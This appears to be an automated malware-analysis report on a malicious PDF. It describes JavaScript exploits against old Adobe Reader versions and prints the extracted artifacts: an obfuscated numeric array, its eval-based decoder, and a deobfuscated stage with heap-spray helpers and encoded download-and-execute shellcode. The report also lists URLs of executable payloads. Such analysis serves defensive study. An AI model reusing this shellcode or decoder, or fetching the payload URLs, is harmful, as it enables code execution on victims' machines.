Malicious PDF — malware analysis report

Static analysis result for SHA-256 5dce4e1b59763ea1…

MALICIOUS

PDF

7.2 KB Created: 2009-09-12 19:48:62 Authoring application: Eblasha 4.4.6.3 (via PDF Library 2.5.5.2) First seen: 2013-08-21
MD5: ed9e0bc130532ad6042ad24b7b298592 SHA-1: db77a803159b4f4e89cdce4c86e61ebdab65769f SHA-256: 5dce4e1b59763ea18a1f927a9bb97737796f0ad96fa69c0a9da28a2c37befd8b
546 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927 (Collab.getIcon), CVE-2007-5659 (Collab.collectEmailInfo), and CVE-2008-2992 (util.printf). The deobfuscated JavaScript stage is designed to download and execute a second-stage payload from one of the provided URLs. The primary purpose of this exploit is to achieve arbitrary code execution on the victim's machine.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var abcmnuvxz=0, aber='';abcmnuvxz<5412;abcmnuvxz++){aber += String.fromCharCode(fra[abcmnuvxz]-'GjoPSuw'.substring(abcmnuvxz%'GjoPSuw'.length,abcmnuvxz%'GjoPSuw'.length+1).charCodeAt(0));}eval(aber);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://busergondermags.com/f2hubba/bgqy3.exe Referenced by PDF JavaScript
    • http://busergondermags.com/f2hubba/defgknoty3.exeReferenced by PDF JavaScript
    • http://busergondermags.com/f2hubba/afu3.exeReferenced by PDF JavaScript

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21654 bytes
SHA-256: edb01c72086bc4bf1d2d623ba50191857fbaf585b926a55009726437a92ffcb8
Preview script
First 1,000 lines of the extracted script
var fra=[173,223,221,179,199,222,230,181,138,213,185,203,212,224,187,146,232,177,197,232,231,115,214,212,190,124,240,238,175,211,219,181,123,238,216,185,221,223,126,191,218,229,174,222,215,122,133,177,227,172,216,152,203,204,214,233,186,218,154,141,204,214,233,186,218,170,205,93,238,216,185,221,223,141,204,214,233,186,218,157,195,200,215,234,187,220,216,190,186,157,167,115,214,212,190,130,167,160,130,220,212,196,200,231,229,103,227,208,194,198,229,178,196,116,213,197,193,216,235,176,217,221,112,200,233,224,179,201,223,194,188,227,235,173,146,152,203,201,214,233,103,218,208,201,191,228,216,171,167,228,190,184,232,218,168,218,212,120,117,154,236,125,158,168,128,120,234,168,127,171,160,117,200,165,167,119,154,148,197,139,183,167,119,143,228,131,131,169,167,108,223,163,128,139,183,156,188,162,177,133,135,154,236,119,158,163,128,120,234,171,119,162,177,117,200,173,185,119,158,148,197,131,169,171,119,143,228,130,131,165,187,108,223,161,128,131,165,156,188,157,179,128,131,154,236,119,154,166,147,120,234,167,119,161,166,117,200,165,168,126,158,148,197,134,168,186,122,143,228,134,135,184,167,108,223,163,128,139,183,156,188,161,167,131,131,154,236,127,172,159,147,120,234,167,138,158,159,117,200,172,167,127,172,148,197,148,185,168,138,143,228,133,139,173,185,108,223,180,146,131,173,156,188,162,177,128,140,154,236,122,158,163,128,120,234,171,119,162,179,117,200,173,185,126,173,148,197,134,184,172,127,143,228,132,135,171,184,108,223,179,129,136,182,156,188,156,177,149,133,154,236,127,172,180,130,120,234,188,137,175,178,117,200,170,184,123,176,148,197,139,168,172,121,143,228,133,137,186,184,108,223,164,133,139,174,156,188,159,165,128,135,154,236,127,172,164,135,120,234,170,138,161,162,117,200,172,171,127,172,148,197,138,173,170,122,143,228,150,134,165,170,108,223,167,146,136,171,156,188,156,159,135,137,154,236,141,157,159,131,120,234,186,128,157,162,117,200,170,167,123,163,148,197,148,185,171,120,143,228,150,153,168,170,108,223,159,150,134,171,156,188,155,163,146,152,154,236,122,162,159,131,120,234,174,123,176,161,117,200,184,168,119,162,148,197,131,185,186,141,143,228,150,148,165,170,108,223,180,146,135,165,156,188,159,167,149,153,154,236,141,162,162,146,120,234,188,124,161,164,117,200,173,185,124,175,148,197,133,169,171,125,143,228,147,134,165,170,108,223,167,146,137,171,156,188,158,167,128,150,154,236,124,160,167,146,120,234,167,122,155,178,117,200,173,185,139,157,148,197,139,182,167,123,143,228,147,134,165,170,108,223,164,149,136,187,156,188,173,162,133,131,154,236,126,174,167,148,120,234,172,126,154,167,117,200,183,175,124,156,148,197,150,182,170,122,143,228,133,149,173,184,108,223,176,130,152,173,156,188,176,181,150,153,154,236,122,156,181,150,120,234,175,137,173,159,117,200,187,169,141,161,148,197,135,187,184,140,143,228,135,136,183,175,108,223,165,133,133,186,156,188,171,177,135,139,154,236,128,162,165,134,120,234,184,137,160,165,117,200,184,167,122,157,148,197,137,166,185,127,143,228,128,131,171,171,108,223,164,128,131,165,156,188,159,163,134,139,154,236,126,156,165,136,120,234,170,124,160,164,117,200,166,186,121,158,148,197,138,169,173,128,143,228,133,135,170,167,108,223,177,136,136,168,156,188,176,178,145,148,154,236,126,173,159,148,120,234,172,124,176,181,117,200,173,185,119,158,148,197,139,168,189,127,143,228,128,150,184,171,108,223,165,147,149,165,156,188,175,159,136,148,154,236,124,154,168,136,120,234,173,141,160,167,117,200,167,188,125,175,148,197,137,173,173,123,143,228,135,133,172,172,108,223,165,148,137,184,156,188,172,167,133,135,154,236,123,175,167,149,120,234,188,138,154,180,117,200,170,172,141,176,148,197,140,168,167,123,143,228,131,134,170,167,108,223,164,128,150,165,156,188,159,165,133,131,154,236,124,159,167,146,120,234,175,122,154,163,117,200,172,189,138,156,148,197,150,167,175,122,143,228,133,133,169,186,108,223,177,136,136,165,156,188,155,176,131,137,154,236,126,154,161,150,120,234,172,124,176,181,117,200,170,185,119,158,148,197,136,171,172,126,143,228,137,139,183,175,108,223,167,145,153,186,156,188,176,181,128,152,154,236,119,158,164,133,120,234,167,119,160,176,117,200,185,174,141,176,148,197,138,169,173,127,143,228,135,131,172,171,108,223,161,150,134,182,156,188,160,161,130,153,154,236,126,157,166,133,120,234,174,121,160,164,117,200,171,189,125,161,148,197,137,169,173,140,143,228,135,133,171,172,108,223,165,129,137,185,156,188,161,162,134,138,154,236,125,157,161,149,120,234,173,139,160,181,117,200,171,173,121,176,148,197,137,173,170,121,143,228,134,133,172,172,108,223,165,129,137,167,156,188,160,161,130,153,154,236,126,155,165,135,120,234,170,122,161,168,117,200,171,172,121,175,148,197,137,170,174,127,143,228,128,131,165,167,105,147,170,198,180,231,151,181,217,223,141,200,227,220,186,205,208,192,184,157,153,108,223,159,145,131,182,156,188,154,176,128,148,154,236,119,171,159,145,120,234,167,136,154,176,114,124,127,237,168,220,143,184,184,214,231,169,214,222,179,190,178,229,182,218,154,192,180,238,227,182,203,211,139,201,214,233,103,204,216,183,181,225,230,170,213,172,197,193,218,234,170,203,223,181,123,151,156,188,154,176,128,148,154,236,119,171,159,145,117,158,178,189,203,225,112,187,218,216,171,207,225,195,188,239,220,132,156,159,139,201,214,233,103,221,223,194,180,238,180,175,207,208,180,184,231,234,176,228,212,123,187,218,216,183,204,219,191,182,224,165,179,207,221,183,199,221,178,190,210,216,188,184,157,217,176,209,209,188,194,216,226,117,214,212,190,186,233,223,131,221,223,194,180,238,160,194,204,216,183,181,225,230,170,213,154,141,181,222,222,169,214,222,179,190,176,244,81,224,208,194,115,219,224,179,214,209,188,194,216,226,132,204,216,183,181,225,230,170,213,157,195,200,215,234,187,220,216,190,186,157,167,115,221,223,194,180,238,160,130,224,208,194,115,215,227,182,205,218,141,181,222,222,169,214,222,179,190,163,234,188,204,226,196,197,222,229,174,146,159,124,181,222,222,169,214,222,179,190,163,227,172,216,214,196,187,162,234,183,220,208,201,124,176,238,175,211,219,181,123,215,227,182,205,218,126,191,218,229,174,222,215,123,198,229,233,168,227,171,128,203,169,167,119,154,159,121,206,215,227,182,205,218,141,181,225,230,170,213,154,178,191,228,218,178,149,213,185,191,225,217,179,217,210,187,142,242,129,189,203,225,112,192,218,228,166,203,225,194,180,238,180,181,207,230,112,148,231,233,168,227,151,121,142,219,230,185,146,229,177,197,149,224,132,154,170,185,143,166,171,119,154,170,185,126,160,160,194,215,212,189,178,214,233,185,203,232,171,188,210,180,169,214,222,179,190,160,223,172,203,223,178,191,228,218,178,165,236,90,201,214,233,103,216,228,189,144,166,169,128,163,168,137,140,174,176,128,163,168,137,140,174,176,128,163,168,137,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,127,162,167,136,139,173,175,130,223,227,185,191,163,231,185,211,221,196,185,157,153,108,158,164,128,131,165,221,105,150,221,197,192,158,178,196,116,213,197,193,216,235,176,217,221,112,182,228,227,179,203,209,175,184,226,216,176,214,151,121,206,235,216,185,138,226,184,184,225,227,170,217,211,181,144,234,229,172,221,210,177,195,218,159,105,143,228,134,135,174,167,108,223,160,136,148,166,156,188,154,159,128,131,154,236,127,172,159,128,120,234,170,119,158,159,117,200,169,167,127,172,148,197,139,183,172,123,143,228,128,135,169,167,108,223,163,128,139,183,156,188,162,177,128,135,154,236,119,158,163,128,120,234,169,119,154,179,117,200,167,167,119,154,148,197,134,185,167,119,143,228,128,131,172,186,108,223,159,128,138,172,156,188,154,160,135,135,154,236,122,157,178,131,120,234,173,123,173,159,117,200,169,167,127,172,148,197,138,173,170,119,143,228,136,149,165,186,108,223,159,147,135,165,156,188,161,159,136,149,154,236,136,174,160,147,120,234,172,127,162,177,117,200,186,185,119,162,148,197,139,183,167,128,143,228,131,135,169,167,108,223,163,128,139,185,156,188,162,177,135,150,154,236,122,173,164,136,120,234,171,123,160,176,117,200,185,168,124,171,148,197,133,183,188,121,143,228,136,149,186,169,108,223,180,146,152,184,156,188,159,176,132,153,154,236,127,157,164,130,120,234,172,125,175,176,117,200,170,172,127,163,148,197,136,171,167,123,143,228,136,149,170,174,108,223,162,147,138,168,156,188,161,163,136,149,154,236,126,162,162,131,120,234,189,122,154,162,117,200,173,185,124,160,148,197,133,165,174,125,143,228,150,134,165,170,108,223,178,137,134,168,156,188,159,159,132,140,154,236,136,174,163,129,120,234,189,141,157,162,117,200,165,189,122,160,148,197,132,169,185,140,143,228,131,139,165,170,108,223,166,132,153,167,156,188,173,160,128,139,154,236,119,174,178,150,120,234,189,136,154,162,117,200,186,185,123,154,148,197,136,173,188,141,143,228,150,139,168,185,108,223,180,133,138,170,156,188,162,177,133,152,154,236,121,158,163,134,120,234,186,122,154,162,117,200,173,185,125,160,148,197,135,173,167,138,143,228,133,137,173,185,108,223,159,131,132,184,156,188,162,177,148,134,154,236,127,171,159,132,120,234,186,122,154,162,117,200,170,188,124,176,148,197,150,168,172,119,143,228,135,151,173,187,108,223,164,135,131,173,156,188,172,167,133,133,154,236,138,171,162,131,120,234,172,137,162,176,117,200,182,169,140,162,148,197,153,187,189,141,143,228,131,133,187,189,108,223,167,146,150,165,156,188,176,161,150,138,154,236,123,176,176,149,120,234,174,124,172,167,117,200,171,172,121,175,148,197,148,183,174,127,143,228,137,139,171,173,108,223,176,146,137,171,156,188,173,159,131,134,154,236,125,155,177,136,120,234,167,119,160,163,117,200,170,167,119,154,148,197,136,169,173,127,143,228,135,133,171,175,108,223,162,133,137,170,156,188,155,178,130,135,154,236,126,158,165,137,120,234,172,123,159,159,117,200,183,175,124,157,148,197,153,184,184,136,143,228,135,150,165,187,108,223,164,133,153,187,156,188,162,177,128,135,154,236,127,157,181,136,120,234,167,138,173,163,117,200,171,186,137,154,148,197,152,165,175,136,143,228,133,131,174,175,108,223,165,150,137,173,156,188,156,180,134,152,154,236,125,162,165,132,120,234,174,121,161,164,117,200,171,187,125,173,148,197,149,173,172,123,143,228,132,152,173,188,108,223,180,147,131,186,156,188,159,164,150,153,154,236,128,157,159,132,120,234,170,122,159,159,117,200,170,167,138,154,148,197,136,171,172,119,143,228,133,136,173,185,108,223,167,131,131,169,156,188,161,181,147,133,154,236,138,156,167,131,120,234,172,121,158,178,117,200,183,175,124,154,148,197,132,182,170,125,143,228,135,131,167,189,108,223,164,133,153,187,156,188,159,177,128,135,154,236,124,160,164,135,120,234,176,127,172,167,117,200,173,184,141,175,148,197,153,187,167,140,143,228,128,135,170,172,108,223,159,128,137,182,156,188,174,166,150,153,154,236,126,158,165,136,120,234,174,119,161,163,117,200,167,189,122,171,148,197,137,167,169,141,143,228,135,134,172,172,108,223,166,130,137,170,156,188,160,181,134,138,154,236,125,158,165,149,120,234,174,121,160,164,117,200,171,168,125,174,148,197,138,168,173,126,143,228,134,134,167,188,108,223,165,148,137,187,156,188,160,165,130,153,154,236,125,162,162,130,120,234,173,121,161,164,117,200,171,168,125,156,148,197,137,169,169,141,143,228,134,137,171,172,108,223,165,146,137,172,156,188,160,181,134,152,154,236,126,163,166,132,120,234,169,140,157,162,117,200,172,175,125,159,148,197,131,165,173,124,140,152,139,201,214,233,103,215,212,189,178,214,233,185,203,232,141,193,218,238,103,171,225,194,180,238,159,112,165,229,177,197,149,218,170,167,159,200,131,216,167,170,154,210,128,182,176,237,168,220,143,177,183,217,233,132,154,231,132,131,165,167,119,154,170,198,180,231,151,186,205,206,188,184,227,180,186,210,212,188,191,216,230,171,207,157,188,184,227,222,187,210,153,130,142,235,216,185,138,219,181,193,178,216,171,206,225,125,123,232,218,166,214,212,190,126,165,239,122,162,152,139,201,214,233,103,227,208,194,198,229,180,188,216,212,195,182,214,231,172,146,145,117,200,174,167,128,154,148,197,140,165,176,119,140,152,139,204,214,233,186,218,172,182,188,237,214,176,222,151,201,180,231,234,183,150,219,181,193,158,178,189,203,225,112,182,228,236,181,222,161,141,123,216,218,116,154,231,132,131,165,167,119,154,152,127,180,217,219,185,165,213,191,197,157,237,168,220,143,179,194,234,229,187,167,159,139,182,228,236,181,222,171,179,194,234,229,187,156,170,179,194,234,229,187,149,154,121,206,226,220,180,201,208,194,197,214,240,162,205,222,197,193,233,212,132,227,208,194,198,229,162,186,210,212,188,191,216,230,171,207,170,205,93,235,216,185,138,222,198,184,231,221,179,217,230,141,200,227,220,186,205,208,192,184,157,153,108,223,159,179,131,216,156,188,154,210,128,182,151,160,130,225,215,185,191,218,159,182,224,212,194,185,225,230,190,152,219,181,193,220,235,175,166,163,132,140,170,169,112,229,222,198,184,231,221,179,217,230,123,144,228,237,172,220,213,188,194,236,178,196,116,227,184,188,232,165,170,217,219,188,180,215,202,187,217,225,181,144,184,230,179,214,208,178,129,216,230,179,214,212,179,199,186,228,168,211,219,153,193,219,230,111,229,226,197,181,223,177,105,140,155,189,198,220,177,182,224,212,194,185,225,230,190,231,152,139,208,127,221,188,216,210,196,188,228,229,103,205,222,188,191,214,217,166,209,212,196,188,216,230,181,146,152,203,188,219,159,168,218,223,126,183,228,218,117,173,222,188,191,214,217,117,209,212,196,156,216,230,181,147,234,198,180,231,151,168,220,225,201,144,227,220,190,138,176,194,197,214,240,111,147,170,198,180,231,151,189,224,223,181,199,221,240,168,167,228,190,184,232,218,168,218,212,120,117,154,236,125,158,168,128,120,234,168,127,171,160,117,200,165,167,119,154,148,197,139,183,167,119,143,228,131,131,169,167,108,223,163,128,139,183,156,188,162,177,133,135,154,236,119,158,163,128,120,234,171,119,162,177,117,200,173,185,119,158,148,197,131,169,171,119,143,228,130,131,165,187,108,223,161,128,131,165,156,188,157,179,128,131,154,236,119,154,166,147,120,234,167,119,161,166,117,200,165,168,126,158,148,197,134,168,186,122,143,228,134,135,184,167,108,223,163,128,139,183,156,188,161,167,131,131,154,236,127,172,159,147,120,234,167,138,158,159,117,200,172,167,127,172,148,197,148,185,168,138,143,228,133,139,173,185,108,223,180,146,131,173,156,188,162,177,128,140,154,236,122,158,163,128,120,234,171,119,162,179,117,200,173,185,126,173,148,197,134,184,172,127,143,228,132,135,171,184,108,223,179,129,136,182,156,188,156,177,149,133,154,236,127,172,180,130,120,234,188,137,175,178,117,200,170,184,123,176,148,197,139,168,172,121,143,228,133,137,186,184,108,223,164,133,139,174,156,188,159,165,128,135,154,236,127,172,164,135,120,234,170,138,161,162,117,200,172,171,127,172,148,197,138,173,170,122,143,228,150,134,165,170,108,223,167,146,136,171,156,188,156,159,135,137,154,236,141,157,159,131,120,234,186,128,157,162,117,200,170,167,123,163,148,197,148,185,171,120,143,228,150,153,168,170,108,223,159,150,134,171,156,188,155,163,146,152,154,236,122,162,159,131,120,234,174,123,176,161,117,200,184,168,119,162,148,197,131,185,186,141,143,228,150,148,165,170,108,223,180,146,135,165,156,188,159,167,149,153,154,236,141,162,162,146,120,234,188,124,161,164,117,200,173,185,124,175,148,197,133,169,171,125,143,228,147,134,165,170,108,223,167,146,137,171,156,188,158,167,128,150,154,236,124,160,167,146,120,234,167,122,155,178,117,200,173,185,139,157,148,197,139,182,167,123,143,228,147,134,165,170,108,223,164,149,136,187,156,188,173,162,133,131,154,236,126,174,167,148,120,234,172,126,154,167,117,200,183,175,124,156,148,197,150,182,170,122,143,228,133,149,173,184,108,223,176,130,152,173,156,188,176,181,150,153,154,236,122,156,181,150,120,234,175,137,173,159,117,200,187,169,141,161,148,197,135,187,184,140,143,228,135,136,183,175,108,223,165,133,133,186,156,188,171,177,135,139,154,236,128,162,165,134,120,234,184,137,160,165,117,200,184,167,122,157,148,197,137,166,185,127,143,228,128,131,171,171,108,223,164,128,131,165,156,188,159,163,134,139,154,236,126,156,165,136,120,234,170,124,160,164,117,200,166,186,121,158,148,197,138,169,173,128,143,228,133,135,170,167,108,223,177,136,136,168,156,188,176,178,145,148,154,236,126,173,159,148,120,234,172,124,176,181,117,200,173,185,119,158,148,197,139,168,189,127,143,228,128,150,184,171,108,223,165,147,149,165,156,188,175,159,136,148,154,236,124,154,168,136,120,234,173,141,160,167,117,200,167,188,125,175,148,197,137,173,173,123,143,228,135,133,172,172,108,223,165,148,137,184,156,188,172,167,133,135,154,236,123,175,167,149,120,234,188,138,154,180,117,200,170,172,141,176,148,197,140,168,167,123,143,228,131,134,170,167,108,223,164,128,150,165,156,188,159,165,133,131,154,236,124,159,167,146,120,234,175,122,154,163,117,200,172,189,138,156,148,197,150,167,175,122,143,228,133,133,169,186,108,223,177,136,136,165,156,188,155,176,131,137,154,236,126,154,161,150,120,234,172,124,176,181,117,200,170,185,119,158,148,197,136,171,172,126,143,228,137,139,183,175,108,223,167,145,153,186,156,188,176,181,128,152,154,236,119,158,164,133,120,234,167,119,160,176,117,200,185,174,141,176,148,197,138,169,173,127,143,228,135,131,172,171,108,223,161,150,134,182,156,188,160,161,130,153,154,236,126,157,166,133,120,234,174,121,160,164,117,200,171,189,125,161,148,197,137,169,173,140,143,228,135,133,171,172,108,223,165,129,137,185,156,188,161,162,134,138,154,236,125,157,161,149,120,234,173,139,160,181,117,200,171,173,121,176,148,197,137,173,170,121,143,228,134,133,172,172,108,223,165,129,137,167,156,188,160,160,130,153,154,236,126,159,165,134,120,234,169,140,157,162,117,200,172,175,125,159,148,197,131,165,173,124,140,152,139,201,214,233,103,210,198,193,136,165,167,138,184,172,198,201,229,220,187,210,232,177,129,225,220,181,209,227,184,125,167,178,189,203,225,112,191,218,229,132,154,231,132,131,165,167,119,154,156,120,187,204,232,124,154,159,147,161,160,167,191,157,167,121,142,235,216,185,138,232,177,197,232,231,132,223,221,181,198,216,216,183,207,151,114,120,234,176,119,163,159,117,200,174,167,128,154,145,121,142,238,216,185,221,223,141,185,222,239,166,211,227,120,204,214,233,186,218,155,188,184,227,160,130,224,208,194,115,229,172,136,212,186,134,136,219,180,111,154,231,128,182,165,218,119,205,159,179,128,165,239,123,154,159,128,131,165,160,118,154,231,132,131,165,167,119,154,170,182,194,231,159,189,203,225,112,201,230,218,152,174,168,134,204,178,167,130,224,224,179,164,185,176,125,227,171,192,136,182,225,146,160,164,182,142,235,232,170,187,179,137,137,238,162,114,147,234,177,197,231,240,162,224,224,179,164,185,176,125,227,204,141,204,214,233,186,218,154,198,201,229,220,187,210,232,177,142,242,129,189,203,225,112,199,202,196,175,184,209,151,202,178,236,181,207,226,179,180,229,220,111,140,148,128,140,151,160,130,225,215,185,191,218,159,187,191,188,184,161,215,190,190,152,219,181,193,220,235,175,166,159,200,135,165,167,119,147,234,196,168,194,223,149,204,182,199,126,178,235,156,183,215,158,181,188,238,130,231,121,196,168,194,223,149,204,182,199,144,151,197,117,140,154,196,168,194,223,149,204,182,199,142,214,231,183,152,211,191,182,163,186,182,214,219,177,181,163,222,172,222,184,179,194,227,159,187,191,188,184,161,215,190,190,147,170,205,208,127,221,188,216,210,196,188,228,229,103,218,211,182,178,232,235,168,220,227,120,124,240,237,168,220,143,198,184,231,234,176,217,221,141,180,229,231,117,224,216,181,202,218,233,157,207,225,195,188,228,229,117,222,222,163,199,231,224,181,209,151,121,142,235,220,185,221,216,191,193,178,237,172,220,226,185,194,227,165,185,207,223,188,180,216,220,111,153,203,148,130,220,163,110,145,152,139,201,214,233,103,224,208,194,198,222,230,181,201,208,194,197,214,240,132,216,212,199,115,182,233,185,203,232,120,201,218,233,186,211,222,190,129,216,223,168,220,176,196,123,165,160,115,224,212,194,198,222,230,181,152,210,184,180,231,184,187,146,160,121,127,235,220,185,221,216,191,193,163,218,175,203,225,145,199,157,169,112,147,170,185,185,157,159,189,203,225,195,188,228,229,166,203,225,194,180,238,210,119,199,172,141,139,158,157,109,146,229,177,197,232,224,182,216,206,177,197,231,216,192,197,160,173,144,178,167,112,230,235,120,201,214,233,186,211,222,190,178,214,233,185,203,232,171,132,210,180,132,155,149,118,201,214,233,186,211,222,190,178,214,233,185,203,232,171,133,210,179,122,147,152,203,200,233,224,179,201,223,194,188,227,235,173,146,152,139,208,127,224,173,146,151,198,180,231,234,176,217,221,175,180,231,233,168,227,202,128,176,177,175,112,230,235,120,201,214,233,186,211,222,190,178,214,233,185,203,232,171,131,210,180,132,162,149,118,201,214,233,186,211,222,190,178,214,233,185,203,232,171,132,210,179,121,144,149,198,180,231,234,176,217,221,175,180,231,233,168,227,202,130,176,177,169,112,147,234,179,194,225,227,168,204,206,181,192,214,224,179,146,152,139,208,127,224,173,146,151,198,180,231,234,176,217,221,175,180,231,233,168,227,202,128,176,177,176,112,230,235,120,201,214,233,186,211,222,190,178,214,233,185,203,232,171,131,210,180,132,163,149,118,201,214,233,186,211,222,190,178,214,233,185,203,232,171,132,210,179,120,147,152,203,182,228,227,179,203,209,175,186,218,235,176,205,222,190,123,158,178,196,231,121,192,183,219,214,186,222,208,194,199,157,160,130];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x18A0 205 bytes
SHA-256: 2df01fb58c710279bfad2faffe9db36250772cde494fd8ff0071321272227cf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var abcmnuvxz=0, aber='';abcmnuvxz<5412;abcmnuvxz++){aber += String.fromCharCode(fra[abcmnuvxz]-'GjoPSuw'.substring(abcmnuvxz%'GjoPSuw'.length,abcmnuvxz%'GjoPSuw'.length+1).charCodeAt(0));}eval(aber);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5412 bytes
SHA-256: 3485848e54349affe10c2cf410ee7565395654dd35b101c0cfea06218d4086bb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u622F%u7167%u3379%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
